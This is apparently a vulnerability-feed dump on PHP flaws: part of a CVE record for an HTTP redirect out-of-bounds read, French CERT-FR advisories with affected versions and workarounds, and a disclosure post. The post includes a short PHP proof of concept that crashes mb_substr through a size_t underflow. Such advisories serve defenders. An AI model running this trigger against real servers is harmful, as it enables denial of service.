"status": "affected",
"version": "8.2.*",
"versionType": "semver"
},
{
"lessThan": "8.3.35",
"status": "affected",
"version": "8.3.*",
"versionType": "semver"
},
{
"lessThan": "8.4.26",
"status": "affected",
"version": "8.4.*",
"versionType": "semver"
},
{
"lessThan": "8.5.11",
"status": "affected",
"version": "8.5.*",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Ilia Alshanetsky"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Jordi Kroon"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "David Carlier"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Xinchen Hui"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eWhen the HTTP stream wrapper follows a redirect and the response carries a \u003ccode\u003eLocation\u003c/code\u003e header with an empty value, the redirect code reads one byte past the end of the heap buffer holding the location. The value of that out-of-bounds byte decides which redirect target is built, so a malicious server controls whether the client is sent to the host root or to the current directory.\u003c/p\u003e"
}
],
"value": "When the HTTP stream wrapper follows a redirect and the response carries a Location header with an empty value, the redirect code reads one byte past the end of the heap buffer holding the location. The value of that out-of-bounds byte decides which redirect target is built, so a malicious server controls whether the client is sent to the host root or to the current directory."
}
],
"impacts": [
{
"capecId": "CAPEC-540",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-540 Overread Buffers"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-125",
"description": "CWE-125 Out-of-bounds read",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-25T20:02:11.467Z",
"orgId": "dd77f84a-d19a-4638-8c3d-a322d820ed2b",
"shortName": "php"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/php/php-src/security/advisories/GHSA-7875-c8px-7q5f"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "dd77f84a-d19a-4638-8c3d-a322d820ed2b",
"assignerShortName": "php",
"cveId": "CVE-2026-93682",
"datePublished": "2026-09-25T20:02:11.467Z",
"dateReserved": "2026-09-18T14:18:02.748Z",
"dateUpdated": "2026-09-25T20:38:14.346Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CERTFR-2026-AVI-1359
Vulnerability from certfr_avis - Published: 2026-10-21 - Updated: 2026-10-21
De multiples vulnérabilités ont été découvertes dans PHP. Elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| PHP | PHP | PHP toutes versions 6.x | ||
| PHP | PHP | PHP toutes versions 8.0.x | ||
| PHP | PHP | PHP versions 8.2.x antérieures à 8.2.35 | ||
| PHP | PHP | PHP versions 8.5.x antérieures à 8.5.12 | ||
| PHP | PHP | PHP toutes versions 8.1.x | ||
| PHP | PHP | PHP toutes versions 7.x | ||
| PHP | PHP | PHP versions 8.4.x antérieures à 8.4.27 | ||
| PHP | PHP | PHP versions 8.3.x antérieures à 8.3.36 | ||
| PHP | PHP | PHP toutes versions 5.x |
References
| Title | Publication Time | Tags | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "PHP toutes versions 6.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 8.0.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.2.x ant\u00e9rieures \u00e0 8.2.35",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.5.x ant\u00e9rieures \u00e0 8.5.12",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 8.1.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 7.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.4.x ant\u00e9rieures \u00e0 8.4.27",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.3.x ant\u00e9rieures \u00e0 8.3.36",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 5.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-109619",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109619"
},
{
"name": "CVE-2026-109618",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109618"
}
],
"initial_release_date": "2026-10-21T00:00:00",
"last_revision_date": "2026-10-21T00:00:00",
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 PHP GHSA-6wmf-4rv5-p3rp",
"url": "https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 PHP GHSA-w8hw-w9fx-j79w",
"url": "https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"
}
],
"reference": "CERTFR-2026-AVI-1359",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-10-21T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans PHP. Elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans PHP",
"vendor_advisories": [
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-2"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-3"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-1"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-4"
}
]
}
CERTFR-2026-AVI-1227
Vulnerability from certfr_avis - Published: 2026-09-24 - Updated: 2026-09-24
De multiples vulnérabilités ont été découvertes dans PHP. Certaines d'entre elles permettent à un attaquant de provoquer un déni de service à distance, une atteinte à la confidentialité des données et une atteinte à l'intégrité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
References
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "PHP versions 8.4.x ant\u00e9rieures \u00e0 8.4.26",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.2.x ant\u00e9rieures \u00e0 8.2.34",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.3.x ant\u00e9rieures \u00e0 8.3.35",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.5.x ant\u00e9rieures \u00e0 8.5.11",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-14181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14181"
},
{
"name": "CVE-2026-91765",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91765"
},
{
"name": "CVE-2026-92842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92842"
},
{
"name": "CVE-2026-91767",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91767"
},
{
"name": "CVE-2026-91766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91766"
},
{
"name": "CVE-2026-91769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91769"
},
{
"name": "CVE-2026-93682",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93682"
},
{
"name": "CVE-2026-91768",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91768"
},
{
"name": "CVE-2026-6103",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6103"
},
{
"name": "CVE-2025-1218",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1218"
},
{
"name": "CVE-2026-17545",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17545"
}
],
"initial_release_date": "2026-09-24T00:00:00",
"last_revision_date": "2026-09-24T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1227",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-09-24T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans PHP. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer un d\u00e9ni de service \u00e0 distance, une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans PHP",
"vendor_advisories": [
{
"published_at": "2026-09-24",
"title": "Bulletin de s\u00e9curit\u00e9 PHP 8.3.35",
"url": "https://www.php.net/ChangeLog-8.php#8.3.35"
}
]
}
CERTFR-2026-ALE-014
Vulnerability from certfr_alerte - Published: 2026-10-21 - Updated: 2026-10-27
[Mise à jour du 26 octobre 2026]
Le 23 octobre 2026, PHP a publié un avis de sécurité concernant la vulnérabilité CVE-2026-115560. Celle-ci permet une exécution de code arbitraire à distance. L'éditeur estime que les conditions d'exploitation exigent une combinaison d'options de configuration et de code applicatif peu probable. Un correctif sera donc publié à l'occasion du prochain cycle de mises à jour.
Le CERT-FR constate des tentatives d'exploitation des vulnérabilités CVE-2026-109618 et CVE-2026-109619 ciblant des déploiements spécifiques de PHP.
De plus, le CERT-FR incite à la vigilance et rappelle que le langage PHP est utilisé dans de nombreux produits, il est donc important d'appliquer les correctifs dès que ceux-ci seront disponibles. En effet, de nombreux produits sont potentiellement impactés par cette vulnérabilité. On trouvera une liste non exhaustive de cette dernière fournie par le NCSC-NL (php2shell/software/changelog_software_list.md at main · NCSC-NL/php2shell · GitHub)
[Mise à jour du 22 octobre 2026]
Le CERT-FR a connaissance de preuves de concept pour les vulnérabilités CVE-2026-109618 et CVE-2026-109619 pour des déploiements spécifiques de PHP.
[Mise à jour du 21 octobre 2026]
Les correctifs de sécurité sont disponibles sur le site de l'éditeur. PHP indique que les vulnérabilités CVE-2026-109618 et CVE-2026-109619 permettent à un attaquant de provoquer une exécution de code arbitraire à distance.
[Publication Initiale]
Le 20 octobre 2026, PHP a publié une communication concernant deux vulnérabilités critiques. L'éditeur annonce la disponibilité des correctifs de sécurité pour le 21 octobre 2026 à 16h00 heure de Paris (14h00 UTC).
L'éditeur n'assure plus le support des versions de PHP 5.x, 7.x, 8.0.x et 8.1.x [1].
Le CERT-FR recommande d'isoler les équipements affectés puis de procéder à la migration vers une version maintenue et avec les derniers correctifs de sécurité dès publication du correctif éditeur.
Contournements provisoires
Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation des vulnérabilités correspondantes.
PHP a publié des mesures de contournements provisoires pour réduire la surface d'attaque des vulnérabilités CVE-2026-109618 et CVE-2026-109619. L'éditeur recommande pour la vulnérabilité CVE-2026-109618 :
* initialiser memory_limit=-1 ;
* définir une valeur faible pour post_max_size ;
* limiter les ressources mémoire utilisable par PHP.
L'éditeur recommande pour la vulnérabilité CVE-2026-109619 :
* initialiser session.upload_progress.enabled=0 et redémarrer chaque processus d'arrière-plan (worker) ;
* si PHP est en version 8.5.x, initialiser fatal_error_backtraces=0 et redémarrer chaque processus d'arrière-plan ;
* supprimer les configurations incorrectes ou obsolètes qui sont appliquées à chaque requête et qui génèrent des messages de diagnostic avant l'initialisation ;
* corriger les erreurs fatales et les délais d'exécution dépassés accessibles aux attaquants.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
Impacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| PHP | PHP | PHP toutes versions 8.0.x | ||
| PHP | PHP | PHP versions 8.2.x antérieures à 8.2.35 | ||
| PHP | PHP | PHP versions 8.5.x antérieures à 8.5.12 | ||
| PHP | PHP | PHP toutes versions 8.1.x | ||
| PHP | PHP | PHP toutes versions 7.x | ||
| PHP | PHP | PHP versions 8.4.x antérieures à 8.4.27 | ||
| PHP | PHP | PHP versions 8.3.x antérieures à 8.3.36 | ||
| PHP | PHP | PHP toutes versions 5.x |
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "PHP toutes versions 8.0.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.2.x ant\u00e9rieures \u00e0 8.2.35",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.5.x ant\u00e9rieures \u00e0 8.5.12",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 8.1.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 7.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.4.x ant\u00e9rieures \u00e0 8.4.27",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP versions 8.3.x ant\u00e9rieures \u00e0 8.3.36",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
},
{
"description": "PHP toutes versions 5.x",
"product": {
"name": "PHP",
"vendor": {
"name": "PHP",
"scada": false
}
}
}
],
"affected_systems_content": "",
"closed_at": null,
"content": "## Contournements provisoires\nSeule l\u0027application de la mise \u00e0 jour permet de vous pr\u00e9munir contre l\u0027exploitation des vuln\u00e9rabilit\u00e9s correspondantes.\n\nPHP a publi\u00e9 des mesures de contournements provisoires pour r\u00e9duire la surface d\u0027attaque des vuln\u00e9rabilit\u00e9s CVE-2026-109618 et CVE-2026-109619. L\u0027\u00e9diteur recommande pour la vuln\u00e9rabilit\u00e9 CVE-2026-109618 :\n* initialiser \u003ccode\u003ememory_limit=-1\u003c/code\u003e ;\n* d\u00e9finir une valeur faible pour \u003ccode\u003epost_max_size\u003c/code\u003e ;\n* limiter les ressources m\u00e9moire utilisable par PHP.\n\nL\u0027\u00e9diteur recommande pour la vuln\u00e9rabilit\u00e9 CVE-2026-109619 :\n* initialiser \u003ccode\u003esession.upload_progress.enabled=0\u003c/code\u003e et red\u00e9marrer chaque processus d\u0027arri\u00e8re-plan (*worker*) ;\n* si PHP est en version 8.5.x, initialiser \u003ccode\u003efatal_error_backtraces=0\u003c/code\u003e et red\u00e9marrer chaque processus d\u0027arri\u00e8re-plan ;\n* supprimer les configurations incorrectes ou obsol\u00e8tes qui sont appliqu\u00e9es \u00e0 chaque requ\u00eate et qui g\u00e9n\u00e8rent des messages de diagnostic avant l\u0027initialisation ;\n* corriger les erreurs fatales et les d\u00e9lais d\u0027ex\u00e9cution d\u00e9pass\u00e9s accessibles aux attaquants.\n\n\n## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-109619",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109619"
},
{
"name": "CVE-2026-109618",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109618"
},
{
"name": "CVE-2026-115560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115560"
}
],
"initial_release_date": "2026-10-21T00:00:00",
"last_revision_date": "2026-10-27T00:00:00",
"links": [
{
"title": "Avis CERT-FR CERTFR-2026-AVI-1359 du 21 octobre 2026",
"url": "/avis/CERTFR-2026-AVI-1359/"
},
{
"title": "Fiche r\u00e9flexe : Compromission d\u0027un \u00e9quipement de bordure r\u00e9seau - Endiguement",
"url": "https://cert.cyber.gouv.fr/fiche/CERTFR-2025-RFX-002/"
},
{
"title": "D\u00e9p\u00f4t GitHub php2shell du NCSC-NL du 21 octobre 2026 ",
"url": "https://github.com/NCSC-NL/php2shell"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 PHP GHSA-w8hw-w9fx-j79w",
"url": "https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"
},
{
"title": "Communication du CERT-EU",
"url": "https://cert.europa.eu/publications/security-advisories/2026-018/"
},
{
"title": "[2] Bulletin de s\u00e9curit\u00e9 PHP GHSA-6wmf-4rv5-p3rp",
"url": "https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"
},
{
"title": "[1] Fin de support des versions de PHP",
"url": "https://www.php.net/eol.php"
}
],
"reference": "CERTFR-2026-ALE-014",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-10-21T00:00:00.000000"
},
{
"description": "Mise \u00e0 jour des risques, des syst\u00e8mes affect\u00e9s et ajout des correctifs de s\u00e9curit\u00e9",
"revision_date": "2026-10-21T00:00:00.000000"
},
{
"description": "Connaissance de preuves de concept, pr\u00e9cision sur les contournements",
"revision_date": "2026-10-22T00:00:00.000000"
},
{
"description": "Ajout de la vuln\u00e9rabilit\u00e9 CVE-2026-115560 et du lien vers le d\u00e9p\u00f4t GitHub du NCSC-NL. ",
"revision_date": "2026-10-26T00:00:00.000000"
},
{
"description": "Pr\u00e9cisions sur les produits affect\u00e9s et rem\u00e9diations associ\u00e9es",
"revision_date": "2026-10-27T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "\u003cspan class=\"important-content\"\u003e**[Mise \u00e0 jour du 26 octobre 2026]**\u003c/span\u003e\u003cbr/\u003e\nLe 23 octobre 2026, PHP a publi\u00e9 un avis de s\u00e9curit\u00e9 concernant la vuln\u00e9rabilit\u00e9 CVE-2026-115560. Celle-ci permet une ex\u00e9cution de code arbitraire \u00e0 distance. L\u0027\u00e9diteur estime que les conditions d\u0027exploitation exigent une combinaison d\u0027options de configuration et de code applicatif peu probable. Un correctif sera donc publi\u00e9 \u00e0 l\u0027occasion du prochain cycle de mises \u00e0 jour.\n\nLe CERT-FR constate des tentatives d\u0027exploitation des vuln\u00e9rabilit\u00e9s CVE-2026-109618 et CVE-2026-109619 ciblant des d\u00e9ploiements sp\u00e9cifiques de PHP.\n\nDe plus, le CERT-FR incite \u00e0 la vigilance et rappelle que le langage PHP est utilis\u00e9 dans de nombreux produits, il est donc important d\u0027appliquer les correctifs d\u00e8s que ceux-ci seront disponibles. *En effet, de nombreux produits sont potentiellement impact\u00e9s par cette vuln\u00e9rabilit\u00e9. On trouvera une liste non exhaustive de cette derni\u00e8re fournie par le NCSC-NL (\u003ca href=\"https://github.com/NCSC-NL/php2shell/blob/main/software/changelog_software_list.md\"\u003ephp2shell/software/changelog_software_list.md at main \u00b7 NCSC-NL/php2shell \u00b7 GitHub\u003c/a\u003e)*\n\n\u003cspan\u003e**[Mise \u00e0 jour du 22 octobre 2026]**\u003c/span\u003e\u003cbr/\u003e\nLe CERT-FR a connaissance de preuves de concept pour les vuln\u00e9rabilit\u00e9s CVE-2026-109618 et CVE-2026-109619 pour des d\u00e9ploiements sp\u00e9cifiques de PHP.\n\n**[Mise \u00e0 jour du 21 octobre 2026]**\u003cbr/\u003e\nLes correctifs de s\u00e9curit\u00e9 sont disponibles sur le site de l\u0027\u00e9diteur. PHP indique que les vuln\u00e9rabilit\u00e9s CVE-2026-109618 et CVE-2026-109619 permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance.\n\n**[Publication Initiale]**\u003cbr/\u003e\nLe 20 octobre 2026, PHP a publi\u00e9 une communication concernant deux vuln\u00e9rabilit\u00e9s critiques. L\u0027\u00e9diteur annonce la disponibilit\u00e9 des correctifs de s\u00e9curit\u00e9 pour le 21 octobre 2026 \u00e0 16h00 heure de Paris (14h00 UTC).\nL\u0027\u00e9diteur n\u0027assure plus le support des versions de PHP 5.x, 7.x, 8.0.x et 8.1.x [1]. \n\nLe CERT-FR recommande d\u0027isoler les \u00e9quipements affect\u00e9s puis de proc\u00e9der \u00e0 la migration vers une version maintenue et avec les derniers correctifs de s\u00e9curit\u00e9 d\u00e8s publication du correctif \u00e9diteur.",
"title": "[M\u00e0j] Multiples vuln\u00e9rabilit\u00e9s dans PHP",
"vendor_advisories": [
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-2"
},
{
"published_at": "2026-10-23",
"title": "Bulletin de s\u00e9curit\u00e9 PHP CVE-2026-115560",
"url": "https://www.php.net/archive/2026.php#2026-10-23-1"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-3"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-1"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP",
"url": "https://www.php.net/index.php#2026-10-21-4"
},
{
"published_at": "2026-10-20",
"title": "Communication de PHP",
"url": "https://www.php.net/archive/2026.php#2026-10-20-1"
},
{
"published_at": "2026-10-21",
"title": "Bulletin de s\u00e9curit\u00e9 PHP sur les contournements provisoires additionnels",
"url": "https://www.php.net/archive/2026.php#2026-10-21-5"
}
]
}
GCVE-1988-2026-0322
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
Summary
# PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-06-18
**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow
**Contact:** https://fereidani.com/contact
## Description
The `mb_get_substr()` function in `ext/mbstring/mbstring.c`
deliberately skips an early empty return guard for the `SJIS-mac`
encoding when `from >= in_len`. As a result, it falls through to
`mb_get_substr_slow()`, executing `mb_convert_buf_init(&buf, MIN(len,
in_len - from), ...);`. When `from > in_len`, the parameter `in_len -
from` underflows the `size_t` representation, resulting in a vastly
large allocation size (near ~2^64 bytes). This leads to an immediate
Out-Of-Memory (OOM) fatal error. Furthermore, if
`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could
potentially allocate a tiny buffer while the structural limit retains
the pseudo-wild value, resulting in a heap buffer overflow when
subsequent codepoints are decoded and written.
## Proof of concept
```php
<?php
/*
* PoC: mb_substr() 'SJIS-mac' size_t underflow
* File: ext/mbstring/mbstring.c mb_get_substr() (~L2129) +
mb_get_substr_slow() (~L2102) *
* mb_get_substr() deliberately skips the early "return empty" guard
for SJIS-mac:
*
* if (len == 0 || (from >= in_len && enc != &mbfl_encoding_sjis_mac)) {
* return zend_empty_string; // <-- sjis_mac bypasses this
when from >= in_len
* }
*
* ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to
* mb_get_substr_slow(), whose first line is:
*
* mb_convert_buf_init(&buf, MIN(len, in_len - from), ...);
*
* With `from > in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.
* mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).
*
* Two outcomes, both wrong (correct result is the empty string):
* (A) `from` huge -> initsize ~2^64 -> fatal "Allowed memory size exhausted
* (tried to allocate 18446744073708551644 bytes)". CONFIRMED below.
* (B) `from` only slightly > in_len -> initsize sits just under 2^64 and
* _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,
* while buf->limit = out + initsize stays wild -> a subsequent write of
* decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:
* needs a SJIS-mac input decoding to more codepoints than bytes, i.e.
* from < codepoint_count while from > byte_count. Worth upstream review.)
*/
echo "PHP ", PHP_VERSION, " sjis_mac available: ",
(in_array("SJIS-mac", mb_list_encodings()) ? "yes" : "no"), "\n\n";
/* control: a normal encoding with from > strlen returns "" cleanly */
echo "UTF-8, from=10 > strlen('abc'): -> "; var_dump(@mb_substr("abc",
10, null, "UTF-8"));
/* The bug: SJIS-mac, from >> strlen, length omitted -> underflow -> OOM fatal.
* The "tried to allocate 18...644 bytes" is literally (size_t)(3 - 1000000). */
echo "SJIS-mac, from=1000000 > strlen('abc'):\n";
@mb_substr("abc", 1000000, null, "SJIS-mac");
echo "(if you see this line, the fatal error above was caught/suppressed)\n";
```
## Impact
An attacker could intentionally furnish conditions where `from >
in_len` alongside the 'SJIS-mac' encoding, triggering a `size_t`
underflow. This predictably causes a severe Out-Of-Memory (OOM) fatal
error, culminating in a Denial of Service. Depending on environmental
details, it might hypothetically cause a heap buffer overflow.
## Solution
Adjust the constraints inside `mb_get_substr()` and
`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation
`in_len - from` should be adequately bounds-checked to halt
computation or safely cap at zero when `from > in_len`, sidestepping
the underflow when initializing string buffers.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jun/12 | technical-description |
| https://fereidani.com/contact | |
| https://fereidani.com/php-857-mbsubstr-sjis-mac-s… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "PHP",
"vendor": "Php",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `mb_get_substr()` function in `ext/mbstring/mbstring.c`\ndeliberately skips an early empty return guard for the `SJIS-mac`\nencoding when `from \u003e= in_len`. As a result, it falls through to\n`mb_get_substr_slow()`, executing `mb_convert_buf_init(\u0026buf, MIN(len,\nin_len - from), ...);`. When `from \u003e in_len`, the parameter `in_len -\nfrom` underflows the `size_t` representation, resulting in a vastly\nlarge allocation size (near ~2^64 bytes). This leads to an immediate\nOut-Of-Memory (OOM) fatal error. Furthermore, if\n`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\npotentially allocate a tiny buffer while the structural limit retains\nthe pseudo-wild value, resulting in a heap buffer overflow when\nsubsequent codepoints are decoded and written.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * PoC: mb_substr() \u0027SJIS-mac\u0027 size_t underflow\n * File: ext/mbstring/mbstring.c mb_get_substr() (~L2129) +\nmb_get_substr_slow() (~L2102) *\n * mb_get_substr() deliberately skips the early \"return empty\" guard\nfor SJIS-mac:\n *\n * if (len == 0 || (from \u003e= in_len 